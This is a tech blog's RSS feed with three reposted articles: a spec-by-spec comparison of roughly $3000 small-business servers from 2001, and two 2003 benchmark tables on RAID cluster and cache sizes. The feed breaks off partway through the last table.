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	<title>eBabble &#187; Technology</title>
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		<title>SMB Server Comparison</title>
		<link>http://tech.ebabble.net/smb-server-comparison</link>
		<comments>http://tech.ebabble.net/smb-server-comparison#comments</comments>
		<pubDate>Wed, 30 Nov 2011 13:08:37 +0000</pubDate>
		<dc:creator>Scott VanderPloeg</dc:creator>
				<category><![CDATA[Technology]]></category>
		<category><![CDATA[server]]></category>
		<category><![CDATA[SMB]]></category>
		<category><![CDATA[SME]]></category>

		<guid isPermaLink="false">http://www.ebabble.net/?p=2341</guid>
		<description><![CDATA[Blast from the past: originally published September 25th 2001.
When I originally conceived of this article, I planned for two classes of server; a budget machine of $1500 and something decent for $3000. After researching the manufacturer’s web sites and comparing packages, it became apparent that an entry model in either price range made too many concessions. Hence the focus of a good all around machine for $3000, with a minimum of two drives, decent RAM and whatever features could be crammed in.
To research the various models and bundles available, I ...]]></description>
			<content:encoded><![CDATA[<p><em>Blast from the past: originally published September 25th 2001.</em></p>
<p style="text-align: justify;">When I originally conceived of this article, I planned for two classes of server; a budget machine of $1500 and something decent for $3000. After researching the manufacturer’s web sites and comparing packages, it became apparent that an entry model in either price range made too many concessions. Hence the focus of a good all around machine for $3000, with a minimum of two drives, decent RAM and whatever features could be crammed in.</p>
<p style="text-align: justify;">To research the various models and bundles available, I did a strictly Internet fact finding tour of the big manufacturers: Compaq, Dell, Gateway, Hewlett Packard ( HP ) and IBM. To the mix I wanted to spec out a “white box” or clone system that could be had from local computer consultants, who specialize in getting small businesses equipped. After deciding on a $3000 Canadian budget, and recognizing this would be without monitor or operating system, I set out to see what value would befall me. Everyone except HP let me take a base server and add or change components to reach my desired budget; on the HP site I selected a model and then added the price of listed options. All the players listed server hardware without operating system, since it would scare away most buyers. As well the proliferation of Linux as a free alternative allows for companies to focus the entire budget on hardware. Let’s take a look at the chart below and compare.</p>
<p style="text-align: justify;">Let’s run down the various specs provided and see what they do for a SME buyer. This is a broad look at the items listed by the manufacturers, so check out the links for specifics.</p>
<table width="636" border="0" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td width="159" height="16"></td>
<td width="159">Compaq</td>
<td width="159">Dell</td>
<td width="159">Gateway</td>
</tr>
<tr>
<td height="16">Specifications</td>
<td><a href="http://www.compaq.com/products/servers/proliantml330e/index.html">ML330</a></td>
<td>2500SC</td>
<td><a href="http://esupport.gatewayatwork.com/mots/content/template/home.html?contenturl=/mots/content/sci/scip4fbma1ryzfntvc2lct.mots">7400</a></td>
</tr>
<tr>
<td height="16">Processor</td>
<td>Intel P3 933 MHz</td>
<td>Intel P3 933 MHz</td>
<td>Intel P3 933 MHz</td>
</tr>
<tr>
<td height="16"># Processors / Capacity</td>
<td>1 / 1</td>
<td>1 / 2</td>
<td>1 / 2</td>
</tr>
<tr>
<td height="16">Chipset</td>
<td>ServerWorks III SLC</td>
<td>ServerWorks HE-SL</td>
<td>RCC Champion LE 3</td>
</tr>
<tr>
<td height="16">PCI: 64 bit / 32 bit / 66 MHz</td>
<td>2 / 4 / 0</td>
<td>3 / 2 / 2</td>
<td>2 / 5 / 0</td>
</tr>
<tr>
<td height="16">RAM</td>
<td>128 MB ECC PC133</td>
<td>256 MB ECC PC133</td>
<td>256 MB ECC PC133</td>
</tr>
<tr>
<td height="16">RAM Slots / Maximum</td>
<td>4 / 2 GB</td>
<td>6 / 4 GB</td>
<td>4 / 2 GB</td>
</tr>
<tr>
<td height="16">1st Hard Drive</td>
<td>9 GB Ultra3 SCSI 10k</td>
<td>9 GB Ultra3 SCSI 10k</td>
<td>9 GB Ultra3 SCSI 7200</td>
</tr>
<tr>
<td height="16">2nd Hard Drive</td>
<td>9 GB Ultra3 SCSI 10k</td>
<td>18 GB Ultra3 SCSI 10k</td>
<td>9 GB Ultra3 SCSI 10k</td>
</tr>
<tr>
<td height="16">Hot Plug Bays: 1&#8243; / 1.6&#8243;</td>
<td>-</td>
<td>6 / 0</td>
<td>6 / 4</td>
</tr>
<tr>
<td height="16">CD-ROM</td>
<td>40X ATAPI</td>
<td>24X ATAPI</td>
<td>48X ATAPI</td>
</tr>
<tr>
<td height="16">Video</td>
<td>4 MB ATI Rage XL</td>
<td>8 MB ATI Rage XL</td>
<td>4 MB ATI Rage XL</td>
</tr>
<tr>
<td height="16">Tape</td>
<td>-</td>
<td>-</td>
<td>-</td>
</tr>
<tr>
<td height="16">Case</td>
<td>4U Tower</td>
<td>5U Tower*</td>
<td>5U Tower*</td>
</tr>
<tr>
<td height="16">Bays: Internal / External</td>
<td>2 / 5</td>
<td>0 / 3</td>
<td>1 / 5</td>
</tr>
<tr>
<td height="16">Power Supply: Watts / Fans</td>
<td>250 / 1</td>
<td>Redundant 3 x 300 / 4</td>
<td>Redundant 2 x 350 / ??</td>
</tr>
<tr>
<td height="16">SCSI Controller</td>
<td>Not Listed</td>
<td>AIC 7899</td>
<td>LSI 53C1010</td>
</tr>
<tr>
<td height="16">SCSI Type</td>
<td>Single Wide Ultra2</td>
<td>Dual Wide Ultra3</td>
<td>Dual Wide Ultra3</td>
</tr>
<tr>
<td height="16">SCSI Connections</td>
<td>1 ( 15 drives )</td>
<td>2 ( 30 drives )</td>
<td>2 ( 30 drives )</td>
</tr>
<tr>
<td height="16">RAID Controller</td>
<td>-</td>
<td>-</td>
<td>-</td>
</tr>
<tr>
<td height="16">ATA Controller</td>
<td>Onboard</td>
<td>Onboard</td>
<td>ATA33 onboard</td>
</tr>
<tr>
<td height="16">ATA Connections</td>
<td>1 ( 2 drives )</td>
<td>1 ( 2 drives )</td>
<td>2 ( 4 drives )</td>
</tr>
<tr>
<td height="16">LAN Adapter</td>
<td>Compaq NC3163 10/100</td>
<td>Intel Pro/100+</td>
<td>Intel 82559 10/100</td>
</tr>
<tr>
<td height="16">Data / Fax Modem</td>
<td>Compaq 56k PCI</td>
<td>Actiontech 56K PCI</td>
<td>56k</td>
</tr>
<tr>
<td height="16">Parallel / Serial / USB</td>
<td>1 / 2 / 2</td>
<td>1 / 2 / 2</td>
<td>1 / 2 / 2</td>
</tr>
<tr>
<td height="16">Floppy/Keyboard/Mouse</td>
<td>Y / Y / Y</td>
<td>Y / Y / Y</td>
<td>Y / Y / Y</td>
</tr>
<tr>
<td height="16">Server Software</td>
<td>Compaq SmartStart</td>
<td>Dell OpenManage</td>
<td>HP Openview ManageX</td>
</tr>
<tr>
<td height="16"></td>
<td>Insight Manager XE</td>
<td>Dell Diagnostics</td>
<td>Gateway ServerManager</td>
</tr>
<tr>
<td height="16"></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td height="16">Warranty</td>
<td>3 Year / 1 Year On Site</td>
<td>3 Year Next Day On Site</td>
<td>3 Year On site</td>
</tr>
<tr>
<td height="16">Online Documentation</td>
<td>User Manuals, Updates</td>
<td><a href="http://docs.us.dell.com/docs/systems/pe2500sc/en/index.htm">User Manuals, Updates</a></td>
<td><a href="http://esupport.gatewayatwork.com/mots/content/template/home.html?contenturl=/mots/content/sci/scip4fbma1ryzfntvc2lct.mots">User Manuals, Updates</a></td>
</tr>
<tr>
<td height="16">Size: H / W / D (Inches)</td>
<td>16.8 / 7.5 / 20.0</td>
<td>18.4 / 10.5 / 24.5</td>
<td>17.4 / 8.6 / 28.8</td>
</tr>
<tr>
<td height="16">Price (U.S. / Cdn)</td>
<td>2050 / 3235</td>
<td>2077 / 3080</td>
<td>2089 / 3300</td>
</tr>
</tbody>
</table>
<p style="text-align: justify;">
<table width="636" border="0" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td height="16"></td>
<td>Hewlett Packard</td>
<td>IBM</td>
<td>White Box</td>
</tr>
<tr>
<td height="16">Specifications</td>
<td><a href="http://www.bstore.hp.com/cgi-bin/hpbs/detailhtml.jsp?BV_SessionID=@@@@1356632470.0997818497@@@@&amp;BV_EngineID=ddalljjjglkmbeicecfgecio.0&amp;oid=34707">Netserver e800</a></td>
<td>xSeries 220</td>
<td>Custom Build</td>
</tr>
<tr>
<td height="16">Processor</td>
<td>Intel P3 933 MHz</td>
<td>Intel P3 933 MHz</td>
<td>Intel P3 933 MHz</td>
</tr>
<tr>
<td height="16"># Processors / Capacity</td>
<td>1 / 2</td>
<td>1 / 2</td>
<td>2 / 2</td>
</tr>
<tr>
<td height="16">Chipset</td>
<td>RCC LE</td>
<td>Serverworks ServerSet III LE</td>
<td>Via Apollo Pro 133A</td>
</tr>
<tr>
<td height="16">PCI: 64 bit / 32 bit / 66 MHz</td>
<td>2 / 5</td>
<td>3 / 2 / 0</td>
<td>0 / 5 / 0</td>
</tr>
<tr>
<td height="16">RAM</td>
<td>128 MB ECC PC133</td>
<td>256 MB ECC PC133</td>
<td>1024 MB ECC PC133</td>
</tr>
<tr>
<td height="16">RAM Slots / Maximum</td>
<td>4 / 2 GB</td>
<td>4 / 2 GB</td>
<td>4 / 2 GB</td>
</tr>
<tr>
<td height="16">1st Hard Drive</td>
<td>9 GB Ultra3 SCSI 10k</td>
<td>9 GB Ultra3 SCSI 10k</td>
<td>40 GB ATA100 7200</td>
</tr>
<tr>
<td height="16">2nd Hard Drive</td>
<td>18 GB Ultra3 SCSI 10k</td>
<td>18 GB Ultra3 SCSI 10k</td>
<td>3x 40 GB ATA100 7200</td>
</tr>
<tr>
<td height="16">Hot Plug Bays: 1&#8243; / 1.6&#8243;</td>
<td>-</td>
<td>-</td>
<td>-</td>
</tr>
<tr>
<td height="16">CD-ROM</td>
<td>40X ATAPI</td>
<td>48X ATAPI</td>
<td>16X DVD ATAPI</td>
</tr>
<tr>
<td height="16">Video</td>
<td>4 MB Integrated</td>
<td>8 MB S3 Savage4 LT</td>
<td>4 MB ATI Rage XL</td>
</tr>
<tr>
<td height="16">Tape</td>
<td>-</td>
<td>-</td>
<td>-</td>
</tr>
<tr>
<td height="16">Case</td>
<td>Tower</td>
<td>4U Tower*</td>
<td>Tower</td>
</tr>
<tr>
<td height="16">Bays: Internal / External</td>
<td>3 / 4</td>
<td>3 / 4</td>
<td>4 / 6</td>
</tr>
<tr>
<td height="16">Power Supply: Watts / Fans</td>
<td>300 / 1</td>
<td>330 / 3</td>
<td>400 / 4</td>
</tr>
<tr>
<td height="16">SCSI Controller</td>
<td>Symbios</td>
<td>AHA-7892</td>
<td>-</td>
</tr>
<tr>
<td height="16">SCSI Type</td>
<td>Dual Wide Ultra3</td>
<td>Single Wide Ultra3</td>
<td>-</td>
</tr>
<tr>
<td height="16">SCSI Connections</td>
<td>2 ( 30 drives )</td>
<td>1 ( 15 drives )</td>
<td>-</td>
</tr>
<tr>
<td height="16">RAID Controller</td>
<td>-</td>
<td>-</td>
<td>Promise FastTrak100</td>
</tr>
<tr>
<td height="16">ATA Controller</td>
<td>Onboard</td>
<td>ATA33 onboard</td>
<td>ATA100 onboard</td>
</tr>
<tr>
<td height="16">ATA Connections</td>
<td>2 ( 4 drives )</td>
<td>1 ( 2 drives )</td>
<td>2 ( 4 drives )</td>
</tr>
<tr>
<td height="16">LAN Adapter</td>
<td>Intel 82559 10/100</td>
<td>Intel 82559 10/100</td>
<td>2x Intel 82559 10/100</td>
</tr>
<tr>
<td height="16">Data / Fax Modem</td>
<td>-</td>
<td>56k PCI</td>
<td>Creative 56k PCI</td>
</tr>
<tr>
<td height="16">Parallel / Serial / USB</td>
<td>1 / 2 / 2</td>
<td>1 / 2 / 2</td>
<td>1 / 2 / 4</td>
</tr>
<tr>
<td height="16">Floppy/Keyboard/Mouse</td>
<td>Y / Y / Y</td>
<td>Y / Y / Y</td>
<td>Y / Y / Y</td>
</tr>
<tr>
<td height="16">Server Software</td>
<td>HP Netserver Navigator</td>
<td>IBM Director</td>
<td>Intel LanDesk</td>
</tr>
<tr>
<td height="16"></td>
<td>HP Toptools for Servers</td>
<td>IBM ServerGuide</td>
<td>Server Manager</td>
</tr>
<tr>
<td height="16"></td>
<td>HP Remote Assistant</td>
<td></td>
<td></td>
</tr>
<tr>
<td height="16">Warranty</td>
<td>3 Year On Site</td>
<td>3 Year Parts / 1 Year On Site</td>
<td>1 Year</td>
</tr>
<tr>
<td height="16">Online Documentation</td>
<td><a href="http://netserver.hp.com/support/manuals.asp?pid=E800">User Manuals, Updates</a></td>
<td>Manuals, Updates</td>
<td>Manuals, Updates</td>
</tr>
<tr>
<td height="16">Size: H / W / D (Inches)</td>
<td>17 / 7.1 / 19.5</td>
<td>18.5 / 6.5 / 20.0</td>
<td>20.6 / 8.1 / 18.6</td>
</tr>
<tr>
<td height="16">Price (U.S. / Cdn)</td>
<td>2040 / 3220</td>
<td>1976 / 3120</td>
<td>1970 / 3100</td>
</tr>
</tbody>
</table>
<p style="text-align: justify;">
<p style="text-align: justify;">While all the machines come with one processor, most allow for a second to be installed. Will this double CPU performance? Unfortunately the answer is no. To take advantage of the second processor, the operating system and applications must be multi-threaded, allowing tasks to be split amongst available CPUs. A second processor should give upwards of a 20% improvement; all server operating systems take advantage of multi-processor configurations.</p>
<p style="text-align: justify;">The chipset is the heart and soul of the system; highly under appreciated but critical. It allows for communication amongst the various parts and defines what the system is capable of. <a href="http://www.serverworks.com/" target="_blank">ServerWorks</a> is the leading manufacturer of server chipsets, thus it’s inclusion in all systems.</p>
<p style="text-align: justify;"><a href="http://www.webopedia.com/TERM/P/PCI.html" target="_blank">PCI</a> ( peripheral component interface ) comes in various flavours, which only show up in server or workstation class machines. The basic 32 bit 33 MHz PCI slots we’re used to from desktop machines have a peak transfer of 132 MB / second. 64 bit 33 MHz PCI slots peak at 264 MB / second and 64 bit 66 MHz PCI slots at 528 MB / second. While it may seem like overkill, once you get a few network adapters and a RAID controller going, your available PCI bandwidth is rapidly filled.</p>
<p style="text-align: justify;">RAM is the lifeblood of a server. More is always better, and servers use ECC ( <a href="http://www.crucial.com/library/glossary.asp" target="_blank">error correcting code</a> ) RAM. Looking at the number of slots, available slots and maximum amount gives a good of how big you can go. RAM is at an all time low price right now, so be sure to bulk up. Looking at the prices the big boys charge for upgrades, you’re better off ordering and installing it yourself.</p>
<p style="text-align: justify;">Hard drive space is the next big item for servers, mostly for file and application serving. <a href="http://www.scsilibrary.org/" target="_blank">SCSI</a> is the defacto choice for this market, as a SCSI controller can handle transactions from all devices simultaneously. These systems ship with a boot drive and additional storage drives. This is where “hot pluggable” and “hot swappable” come into play. For externally accessible storage, the server has removable hard drive modules. These modules contain a hard drive and connect to a SCSI backplane, which in turn is connected to a SCSI controller. Hot pluggable drives can be removed from the system while it’s running and replaced, but won’t be recognized until the system is rebooted. Hot swappable drives can be removed and replaced while the system is running, and will be accessible immediately without rebooting. Unfortunately hot swappable drives must be connected to a RAID controller, which is an option on all servers but not standard in this price range.</p>
<p style="text-align: justify;">All systems ship with a CD-ROM, for installing software and drivers. On a server it doesn’t get much use, and interestingly all manufacturers chose to save some money and use IDE CD-ROM drives.</p>
<p style="text-align: justify;">Video is handled by an onboard chip with minimal RAM. For a server, it’s only handling 2D graphics and basic video tasks. No manufacturer includes a monitor in the price; they assume you’ll be using a KVM switch or pick up a cheap 15” monitor on your own.</p>
<p style="text-align: justify;">I included a tape category even though no manufacturer ships one at this price point. Backup is a key component of any business, unfortunately a tape backup of decent size will cost the same as the server.</p>
<p style="text-align: justify;">The case holds everything, and a server case has to allow for easy access and swappable components. All cases in this roundup are tower models, most allow rack mounting via an extra kit. The “U” rating indicates the amount of rack space the case will take, and is derived from the spaces between screw holes. Bays indicate the total number of 3.5” and 5.25” drive bays externally and internally usable.</p>
<p style="text-align: justify;">To run everything in the case you need a quality power supply. Since servers generally operate nonstop, manufacturers include redundant power supplies. Two or three power supplies are connected, and if one fails the other takes over. With a three unit design, the failed power supply can be removed and replaced since the other two are operating as main and backup. High quality is a must, and 300 watts is a minimum for the multiple processors, drives and controllers you may be operating. Cooling is also an important concern, concentrating on the processors and drive bays. Most servers have removable fans to cool key components and direct airflow in the chassis.</p>
<p style="text-align: justify;">Storage connections are key, and all servers utilize both <a href="http://www.scsilibrary.org/" target="_blank">SCSI</a> and <a href="http://ata-atapi.com/" target="_blank">ATA</a> interfaces. Each SCSI controller can operate between 7 and 15 devices, while ATA controllers operate 2 devices. SCSI comes in a variety of interfaces and speeds, but the most common are Ultra2 ( 80 MB/s ) and Ultra3 ( 160 MB/s ). ATA controllers operate between ATA33 ( 33 MB/s ) and ATA100 ( 100 MB/s). This determines the number and type of storage devices within your server.</p>
<p style="text-align: justify;">External connections via ports, Ethernet and modem are necessary and a basic component of any server. Most manufacturers include one Ethernet adapter for LAN connections, and a modem is always a good idea for remote diagnostics or failsafe internet access.</p>
<p style="text-align: justify;">Server management software is critical to any small to medium enterprise. It monitors the system and alerts you to any hardware problems so immediate action can be taken. Most vendors have their own software, and cover the gambit of features.</p>
<p style="text-align: justify;">Last but not least, look at the warranty offered. Will you need immediate service, or will next day suffice? Replacement of failed components, telephone support and onsite technicians all effect the cost of the warranty, so choose your options carefully.</p>
<p style="text-align: justify;">We’ve looked at the specifications of the machines offered from the “big five”, and a general run down of what does what. Let’s talk specifics regarding pros and cons.</p>
<p style="text-align: justify;">Some basics befall all the big players and form a common platform. All use a motherboard based on a <a href="http://www.serverworks.com/" target="_blank">ServerWorks</a> chipset. The Compaq, Gateway, HP and IBM list three different names on their sites for the chipset, but some digging around revealed they’re all using the ServerWorks ServerSet III LE. Dell used the next model up, the ServerSet III HE model. All servers use onboard SCSI, LAN and video; this keeps costs down and allows for less clutter in the system. For the price range, all came with Intel Pentium III 933 MHz processors; ServerWorks chipsets only support Intel processors. As well they all came with a 9 GB non swappable OS or base drive and an ATAPI CD-ROM. The days of SCSI only are behind us.</p>
<p style="text-align: justify;">After that they begin to diverge. For that kind of money I expected a hot swap bay to be included; unfortunately only Dell and Gateway complied. With RAM pricing so cheap, I expected to see 512 MB for peanuts; on average an extra 128 MB of RAM costs $120 from these big name companies.</p>
<p style="text-align: justify;">The servers from Compaq and HP represent the lease amount of computer for the money. Both are small tower cases with limited upgrade ability and only 128 MB of RAM. Following on their heels is the IBM machine; a step up, but no leap from the bottom wrung. Second choice falls to Gateway; they use common OEM parts ( an Asus motherboard and CasEdge housing ) and put it all together for a very aggressive price. Top pick for the $3000 SME server goes to Dell with the 2500SC. Hot swap drives and the ServerWorks HE-SL chipset give this machine room to grow. Throw in redundant power supplies and a great case to come up with a solid winner.</p>
]]></content:encoded>
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		</item>
		<item>
		<title>RAID Cluster Size</title>
		<link>http://tech.ebabble.net/raid-cluster-size</link>
		<comments>http://tech.ebabble.net/raid-cluster-size#comments</comments>
		<pubDate>Wed, 23 Nov 2011 13:08:28 +0000</pubDate>
		<dc:creator>Scott VanderPloeg</dc:creator>
				<category><![CDATA[Technology]]></category>
		<category><![CDATA[ATA]]></category>
		<category><![CDATA[cluster]]></category>
		<category><![CDATA[controller]]></category>
		<category><![CDATA[RAID]]></category>

		<guid isPermaLink="false">http://www.ebabble.net/?p=2333</guid>
		<description><![CDATA[Blast from the past: originally published in 2003.

Testing RAID cards is a long and arduous process. The most difficult part was deciding on a standard cluster size for all cards. While the Promise cards can have from 8k to 2048k, Adaptec’s limit is 128k, and 3ware’s is 64k. All cards default to 64k cluster size, so who am I to argue? Just for comparison sake, I ran the Promise FastTrak100 with three cluster sizes to see the difference.]]></description>
			<content:encoded><![CDATA[<p><em>Blast from the past: originally published in 2003.</em></p>
<p style="text-align: justify;">Testing RAID cards is a long and arduous process. The most difficult part was deciding on a standard cluster size for all cards. While the Promise cards can have from 8k to 2048k, Adaptec’s limit is 128k, and 3ware’s is 64k. All cards default to 64k cluster size, so who am I to argue? Just for comparison sake, I ran the <a href="http://tech.ebabble.net/promise-fasttrak">Promise FastTrak100</a> with three cluster sizes to see the difference.</p>
<table id="Table2" border="1" cellspacing="1" cellpadding="1">
<tbody>
<tr>
<td align="left" valign="top" width="109">Adapter</td>
<td width="44"></td>
<td colspan="2" align="left" valign="top">WinBench 99</td>
<td width="46"></td>
<td align="left" valign="top" width="52">IO Meter</td>
<td width="39"></td>
<td colspan="2" align="left" valign="top">HD Tach</td>
<td width="50"></td>
<td width="29"></td>
</tr>
<tr>
<td></td>
<td></td>
<td width="53"></td>
<td align="left" valign="top" width="40">High</td>
<td align="left" valign="top">File</td>
<td align="left" valign="top">Work-</td>
<td align="left" valign="top">Data-</td>
<td align="left" valign="top" width="36">Read</td>
<td align="left" valign="top" width="49">Read</td>
<td align="left" valign="top">Write</td>
<td align="left" valign="top">CPU</td>
</tr>
<tr>
<td align="left" valign="top">Drive Configuration</td>
<td align="left" valign="top">Cluster</td>
<td align="left" valign="top">Business</td>
<td align="left" valign="top">End</td>
<td align="left" valign="top">Server</td>
<td align="left" valign="top">Station</td>
<td align="left" valign="top">Base</td>
<td align="left" valign="top">Burst</td>
<td align="left" valign="top">Average</td>
<td align="left" valign="top">Average</td>
<td align="left" valign="top">%</td>
</tr>
<tr>
<td align="left" valign="top">RAID 0 Two Disk</td>
<td align="left" valign="top">8</td>
<td align="left" valign="top">5220</td>
<td align="left" valign="top">6120</td>
<td align="left" valign="top">99.29</td>
<td align="left" valign="top">89.12</td>
<td align="left" valign="top">77.13</td>
<td align="left" valign="top"><strong>75.3</strong></td>
<td align="left" valign="top"><strong>57273.8</strong></td>
<td align="left" valign="top">2426.2</td>
<td align="left" valign="top"><strong>5.1</strong></td>
</tr>
<tr>
<td></td>
<td align="left" valign="top">64</td>
<td align="left" valign="top"><strong>6270</strong></td>
<td align="left" valign="top">10400</td>
<td align="left" valign="top">103.99</td>
<td align="left" valign="top"><strong>121.79</strong></td>
<td align="left" valign="top"><strong>113.91</strong></td>
<td align="left" valign="top">69.5</td>
<td align="left" valign="top">35164.6</td>
<td align="left" valign="top"><strong>28952.1</strong></td>
<td align="left" valign="top">11.4</td>
</tr>
<tr>
<td></td>
<td align="left" valign="top">512</td>
<td align="left" valign="top">6250</td>
<td align="left" valign="top"><strong>17400</strong></td>
<td align="left" valign="top"><strong>104.21</strong></td>
<td align="left" valign="top">121.14</td>
<td align="left" valign="top">109.99</td>
<td align="left" valign="top">74.7</td>
<td align="left" valign="top">24572.1</td>
<td align="left" valign="top">28384.8</td>
<td align="left" valign="top">9.3</td>
</tr>
<tr>
<td align="left" valign="top">RAID 0 Four Disk</td>
<td align="left" valign="top">8</td>
<td align="left" valign="top">3960</td>
<td align="left" valign="top">3970</td>
<td align="left" valign="top">84.95</td>
<td align="left" valign="top">93.32</td>
<td align="left" valign="top">95.58</td>
<td align="left" valign="top">63.6</td>
<td align="left" valign="top"><strong>51357.3</strong></td>
<td align="left" valign="top">1429.4</td>
<td align="left" valign="top"><strong>4.4</strong></td>
</tr>
<tr>
<td></td>
<td align="left" valign="top">64</td>
<td align="left" valign="top">6000</td>
<td align="left" valign="top">9300</td>
<td align="left" valign="top">103.25</td>
<td align="left" valign="top">120.88</td>
<td align="left" valign="top">117.25</td>
<td align="left" valign="top">68.6</td>
<td align="left" valign="top">21714.6</td>
<td align="left" valign="top"><strong>30492.9</strong></td>
<td align="left" valign="top">8.8</td>
</tr>
<tr>
<td></td>
<td align="left" valign="top">512</td>
<td align="left" valign="top"><strong>7040</strong></td>
<td align="left" valign="top"><strong>19200</strong></td>
<td align="left" valign="top"><strong>108.23</strong></td>
<td align="left" valign="top"><strong>126.71</strong></td>
<td align="left" valign="top"><strong>123.94</strong></td>
<td align="left" valign="top"><strong>74.5</strong></td>
<td align="left" valign="top">21338.7</td>
<td align="left" valign="top">29240.3</td>
<td align="left" valign="top">8.3</td>
</tr>
<tr>
<td align="left" valign="top">RAID 0+1 Four Disk</td>
<td align="left" valign="top">8</td>
<td align="left" valign="top">3960</td>
<td align="left" valign="top"><strong>3970</strong></td>
<td align="left" valign="top">74.11</td>
<td align="left" valign="top">68.71</td>
<td align="left" valign="top">61.91</td>
<td align="left" valign="top">63.6</td>
<td align="left" valign="top"><strong>51357.3</strong></td>
<td align="left" valign="top"><strong>1429.4</strong></td>
<td align="left" valign="top">4.4</td>
</tr>
<tr>
<td></td>
<td align="left" valign="top">64</td>
<td align="left" valign="top">4680</td>
<td align="left" valign="top">3960</td>
<td align="left" valign="top">87.84</td>
<td align="left" valign="top">105.63</td>
<td align="left" valign="top">95.76</td>
<td align="left" valign="top"><strong>67.9</strong></td>
<td align="left" valign="top">31950.1</td>
<td align="left" valign="top">1238.8</td>
<td align="left" valign="top">2.9</td>
</tr>
<tr>
<td></td>
<td align="left" valign="top">512</td>
<td align="left" valign="top"><strong>4770</strong></td>
<td align="left" valign="top">3630</td>
<td align="left" valign="top"><strong>94.75</strong></td>
<td align="left" valign="top"><strong>113.85</strong></td>
<td align="left" valign="top"><strong>101.67</strong></td>
<td align="left" valign="top">65.7</td>
<td align="left" valign="top">23630.1</td>
<td align="left" valign="top">1245.0</td>
<td align="left" valign="top"><strong>2.8</strong></td>
</tr>
</tbody>
</table>
<p style="text-align: justify;">I’ve indicated best scores in a range with <strong>Bold</strong> face. I can’t account for the poor write scores with HDTach, although they were quoted in the December issue of Maximum PC as indicating their benchmark is not designed for RAID systems. All tests were run using the Test Platform.</p>
<p style="text-align: justify;">On the two disk system 64k appears to be the clear winner. With four disks, 512k kills with RAID 0 and does well again with RAID 0+1.</p>
]]></content:encoded>
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		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>RAID Cache Size</title>
		<link>http://tech.ebabble.net/raid-cache-size</link>
		<comments>http://tech.ebabble.net/raid-cache-size#comments</comments>
		<pubDate>Wed, 16 Nov 2011 13:08:05 +0000</pubDate>
		<dc:creator>Scott VanderPloeg</dc:creator>
				<category><![CDATA[Technology]]></category>
		<category><![CDATA[ATA]]></category>
		<category><![CDATA[Cache]]></category>
		<category><![CDATA[controller]]></category>
		<category><![CDATA[RAID]]></category>

		<guid isPermaLink="false">http://www.ebabble.net/?p=2329</guid>
		<description><![CDATA[Blast from the past: originally published in 2003.

Cache plays an integral part in RAID types that use parity or error checking and correcting (ECC). How much cache to put on a RAID card to get the best performance is a tricky bit of business: the natural reaction is to max it out. Below is a comparison of benchmarks using three sizes: 64, 128 and 256 MB PC133 SDRAM on a Promise FastTrak SX4000 with IBM DeskStar 75GXP 20 GB drives.]]></description>
			<content:encoded><![CDATA[<p><em>Blast from the past: originally published in 2003.</em></p>
<p style="text-align: justify;">Cache plays an integral part in RAID types that use parity or error checking and correcting (ECC). How much cache to put on a RAID card to get the best performance is a tricky bit of business: the natural reaction is to max it out. Below is a comparison of benchmarks using three sizes: 64, 128 and 256 MB PC133 SDRAM on a <a href="http://tech.ebabble.net/promise-sx4000">Promise FastTrak SX4000</a> with IBM DeskStar 75GXP 20 GB drives.</p>
<table id="Table3" border="1" cellspacing="1" cellpadding="1">
<tbody>
<tr>
<td align="left" valign="top" width="116">Adapter</td>
<td width="32"></td>
<td colspan="2" align="left" valign="top">WinBench 99</td>
<td colspan="2" align="left" valign="top">IO Meter</td>
<td align="left" valign="top" width="56">HD Tach</td>
<td width="58"></td>
<td align="left" valign="top" width="49">ATTO</td>
<td width="43"></td>
</tr>
<tr>
<td></td>
<td></td>
<td width="55"></td>
<td align="left" valign="top" width="44">High</td>
<td align="left" valign="top" width="46">File</td>
<td width="61"></td>
<td align="left" valign="top">Read</td>
<td align="left" valign="top">Write</td>
<td align="left" valign="top">1024k</td>
<td align="left" valign="top">1024k</td>
</tr>
<tr>
<td align="left" valign="top">Drive Configuration</td>
<td align="left" valign="top">RAM</td>
<td align="left" valign="top">Business</td>
<td align="left" valign="top">End</td>
<td align="left" valign="top">Server</td>
<td align="left" valign="top">Database</td>
<td align="left" valign="top">Average</td>
<td align="left" valign="top">Average</td>
<td align="left" valign="top">Write</td>
<td align="left" valign="top">Read</td>
</tr>
<tr>
<td align="left" valign="top">RAID 0 Two Disk</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td align="left" valign="top">IBM</td>
<td align="left" valign="top">64</td>
<td align="left" valign="top"><strong>6640</strong></td>
<td align="left" valign="top"><strong>26400</strong></td>
<td align="left" valign="top">109.72</td>
<td align="left" valign="top"><strong>114.00</strong></td>
<td align="left" valign="top">33227.6</td>
<td align="left" valign="top">28784.4</td>
<td align="left" valign="top"><strong>70393</strong></td>
<td align="left" valign="top"><strong>82443</strong></td>
</tr>
<tr>
<td align="left" valign="top">IBM</td>
<td align="left" valign="top">128</td>
<td align="left" valign="top">5970</td>
<td align="left" valign="top">26200</td>
<td align="left" valign="top">109.58</td>
<td align="left" valign="top">113.35</td>
<td align="left" valign="top"><strong>33801.6</strong></td>
<td align="left" valign="top"><strong>29936.2</strong></td>
<td align="left" valign="top">70230</td>
<td align="left" valign="top">81640</td>
</tr>
<tr>
<td align="left" valign="top">IBM</td>
<td align="left" valign="top">256</td>
<td align="left" valign="top">5480</td>
<td align="left" valign="top">25300</td>
<td align="left" valign="top"><strong>109.73</strong></td>
<td align="left" valign="top">113.45</td>
<td align="left" valign="top">34177.7</td>
<td align="left" valign="top">29545.2</td>
<td align="left" valign="top">70393</td>
<td align="left" valign="top">81840</td>
</tr>
<tr>
<td align="left" valign="top">RAID 0 Three Disk</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td align="left" valign="top">IBM</td>
<td align="left" valign="top">64</td>
<td align="left" valign="top">5700</td>
<td align="left" valign="top"><strong>27800</strong></td>
<td align="left" valign="top"><strong>141.29</strong></td>
<td align="left" valign="top">146.29</td>
<td align="left" valign="top">27634.1</td>
<td align="left" valign="top">30736.0</td>
<td align="left" valign="top"><strong>70558</strong></td>
<td align="left" valign="top"><strong>97259</strong></td>
</tr>
<tr>
<td align="left" valign="top">IBM</td>
<td align="left" valign="top">128</td>
<td align="left" valign="top"><strong>5790</strong></td>
<td align="left" valign="top">26500</td>
